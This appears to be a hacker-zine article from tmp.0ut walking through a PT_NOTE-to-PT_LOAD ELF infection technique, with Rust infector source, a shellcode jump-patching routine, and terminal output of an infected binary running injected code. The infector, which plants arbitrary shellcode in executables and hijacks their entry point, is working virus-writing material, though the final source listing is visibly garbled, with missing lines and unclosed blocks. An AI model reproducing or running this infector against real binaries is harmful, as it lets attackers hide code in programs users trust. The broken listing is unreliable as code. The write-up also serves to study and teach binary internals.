| |          ___________                              __              | |
   | |          \__    ___/____ ______      ____  __ ___/  |_            | |
   | |            |    | /     \\____ \    /  _ \|  |  \   __\           | |
   | |            |    ||  Y Y  \  |_> >  (  <_> )  |  /|  |             | |
   | |            |____||__|_|  /   __/ /\ \____/|____/ |__|             | |
   | |                        \/|__|    \/                               | |
   | |                                                                   | |
   | |         ::: PT_NOTE to PT_LOAD ELF injector (in Rust) :::         | |
   | |              `- with love from d3npa and tmp.0ut <3               | |
   | |                                                                   | |

| A Japanese version is available on Github / 日本語版はGithubにてご覧できます
| https://github.com/d3npa/hacking-trix-rust/blob/main/elf/ptnote-infector

I read about a technique on the SymbolCrash blog for injecting shellcode 
into an ELF binary by converting a PT_NOTE in the Program Headers into a 
PT_LOAD. I thought this sounded interesting and I didn't know a lot about 
ELF, so I took it as an opportunity to learn many new things at once.

For this project I created a small, very incomplete library I called 
mental_elf which makes parsing and writing ELF metadata easier. I think 
the library code is very straight-forward and easy to understand, so I 
won't talk about it any more here. 

====[ overview ]===============================================================

As implied by the title, this infection technique involves converting an 
ELF's `PT_NOTE` program header into a `PT_LOAD` in order to run shellcode. 
The infection boils down to three steps:

    - Append the shellcode to the end of the ELF file
    - Load the shellcode to a specific address in virtual memory 
    - Change the ELF's entry point to the above address so the shellcode is 
    executed first

The shellcode should also be patched for each ELF such that it jumps back to 
the host ELF's original entry point, allowing the host to execute normally 
after the shellcode is finished. 

Shellcode may be loaded into virtual memory via a PT_LOAD header. 
Inserting a new program header into the ELF file would likely break many 
offsets throughout the binary, however it is usually possible to repurpose a 
PT_NOTE header without breaking the binary. 

Here is a note about the Note Section in the ELF Specification:

    | Note information is optional.  The presence of note information does 
    | not affect a program’s ABI conformance, provided the information does 
    | not affect the program’s execution behavior. Otherwise, the program 
    | does not conform to the ABI and has undefined behavior

Here are two caveats I became aware of:

    - This simplistic technique will not work with PIE. 
    - The Go language runtime actually expects a valid PT_NOTE section 
      containing version information in order to run, so this technique 
      cannot be used with Go binaries.

Note: PIE can be disabled in cc with `-no-pie` or in rustc with 
    `-C relocation-model=static`

====[ shellcode ]==============================================================

The shellcode provided is written for the Netwide ASseMbler (NASM). 
Make sure to install `nasm` before running the Makefile! 

To create shellcode suitable for this injection, there are a couple of things 
to keep in mind. Section 3.4.1 of the AMD64 System V ABI says that the rbp, 
rsp, and rdx registers must be set to correct values before entry. This can 
be achieved by ordinary pushing and popping around the shellcode. 

My shellcode doesn't touch rbp or rsp, and setting rdx to zero before 
returning also worked.

The shellcode also needs to be patched so it can actually jump back to the 
host's original entry point after finishing. To make patching easier, 
shellcode can be designed to run off the end of the file, either by being 
written top-to-bottom, or jumping to an empty label at the end:

    | main_tasks:
    |    ; ...
    |    jmp finish
    | other_tasks:
    |     ; ...
    | finish:

With this design, patching is as easy as appending a jump instruction. 
In x86_64 however, jmp cannot take a 64bit operand - instead the destination 
is stored in rax and then a jmp rax is made. This rust snippet patches a 
"shellcode" byte vector to append a jump to entry_point:

    | fn patch_jump(shellcode: &mut Vec<u8>, entry_point: u64) {
    |     // Store entry_point in rax
    |     shellcode.extend_from_slice(&[0x48u8, 0xb8u8]);
    |     shellcode.extend_from_slice(&entry_point.to_ne_bytes());
    |     // Jump to address in rax
    |     shellcode.extend_from_slice(&[0xffu8, 0xe0u8]);
    | }

====[ infector ]===============================================================

The infector itself is in src/main.rs. 
It's written in an easy to follow top-to-bottom format, so if you understood 
the overview it should be very clear. I also added comments to help. 
The code uses my mental_elf library to abstract away the details of reading 
and writing the file, so that it's easier to see the technique.

In summary, the code

- Takes in 2 CLI parameters: the ELF target and a shellcode file
- Reads in the ELF and Program headers from the ELF file
- Patches the shellcode with a `jmp` to the original entry point
- Appends the patched shellcode the ELF
- Finds a `PT_NOTE` program header and converts it to `PT_LOAD`
- Changes the ELF's entry point to the start of the shellcode
- Saves the altered header structures back into the ELF file

When an infected ELF file is run, the ELF loader will map several sections of 
the ELF file into virtual memory - our crated PT_LOAD will make sure our 
shellcode is loaded and executable. The ELF's entry point then starts the 
shellcode's execution. Then the shellcode ends, it will then jump to the 
original entry point, allowing the binary to run its original code.

    | $ make
    | cd files && make && cd ..
    | make[1]: Entering directory '/.../files'
    | rustc -C opt-level=z -C debuginfo=0 -C relocation-model=static target.rs
    | nasm -o shellcode.o shellcode.s
    | make[1]: Leaving directory '/.../files'
    | cargo run --release files/target files/shellcode.o
    | Compiling mental_elf v0.1.0 
    | Compiling ptnote-to-ptload-elf-injection v0.1.0 (/...)
    |     Finished release [optimized] target(s) in 1.15s
    |     Running `target/release/ptnote-to-ptload-elf-injection files/target 
    | Found PT_NOTE section; converting to PT_LOAD
    | echo 'Done! Run target with: `./files/target`'
    | Done! Run target with: `./files/target`
    | $ ./files/target
    | dont tell anyone im here
    | hello world!
    | $

====[ closing ]================================================================

This was such a fun project! I learned so much about Rust, ELF, and viruses in 
general. Thanks to netspooky, sblip, TMZ, and others at tmp.out for teaching 
me, helping me debug and motivating me to do this project <3

Additional Links:
- https://www.symbolcrash.com/2019/03/27/pt_note-to-pt_load-injection-in-elf/
- http://www.skyfree.org/linux/references/ELF_Format.pdf
- https://refspecs.linuxfoundation.org/elf/x86_64-abi-0.95.pdf
- https://github.com/d3npa/mental-elf

The source code is below:



git = "https://github.com/d3npa/mental-elf"
rev = "0355d2d35558e092a038589fc8b98ac9bc70c37b"


use mental_elf::elf64::constants::*;
use std::{env, fs, process};
use std::io::prelude::*;
use std::io::SeekFrom;

fn main() -> Result<(), Box<dyn std::error::Error>> {
    let args: Vec<String> = env::args().collect();
    if args.len() != 3 {
        eprintln!("Usage: {} <ELF File> <Shellcode File>", args[0]);

    let elf_path = &args[1];
    let sc_path = &args[2];

    // Open target ELF file with RW permissions
    let mut elf_fd = fs::OpenOptions::new()

    // Load shellcode from file
    let mut shellcode: Vec<u8> = fs::read(&sc_path)?;

    // Parse ELF and program headers
    let mut elf_header = mental_elf::read_elf64_header(&mut elf_fd)?;
    let mut program_headers = mental_elf::read_elf64_program_headers(
        &mut elf_fd, 

    // Patch the shellcode to jump to the original entry point after finishing
    patch_jump(&mut shellcode, elf_header.e_entry);

    // Append the shellcode to the very end of the target ELF

    // Calculate offsets used to patch the ELF and program headers
    let sc_len = shellcode.len() as u64;
    let file_offset = elf_fd.metadata()?.len() - sc_len;
    let memory_offset = 0xc00000000 + file_offset;

    // Look for a PT_NOTE section
    for phdr in &mut program_headers {
        if phdr.p_type == PT_NOTE {
            // Convert to a PT_LOAD section with values to load shellcode
            println!("Found PT_NOTE section; converting to PT_LOAD");
            phdr.p_type = PT_LOAD;
            phdr.p_flags = PF_R | PF_X;
            phdr.p_offset = file_offset;
            phdr.p_vaddr = memory_offset;
            phdr.p_memsz += sc_len as u64;
            phdr.p_filesz += sc_len as u64;
            // Patch the ELF header to start at the shellcode
            elf_header.e_entry = memory_offset;

    // Commit changes to the program and ELF headers
        &mut elf_fd, 
    mental_elf::write_elf64_header(&mut elf_fd, elf_header)?;


fn patch_jump(shellcode: &mut Vec<u8>, entry_point: u64) {
    // Store entry_point in rax
    shellcode.extend_from_slice(&[0x48u8, 0xb8u8]);
    // Jump to address in rax
    shellcode.extend_from_slice(&[0xffu8, 0xe0u8]);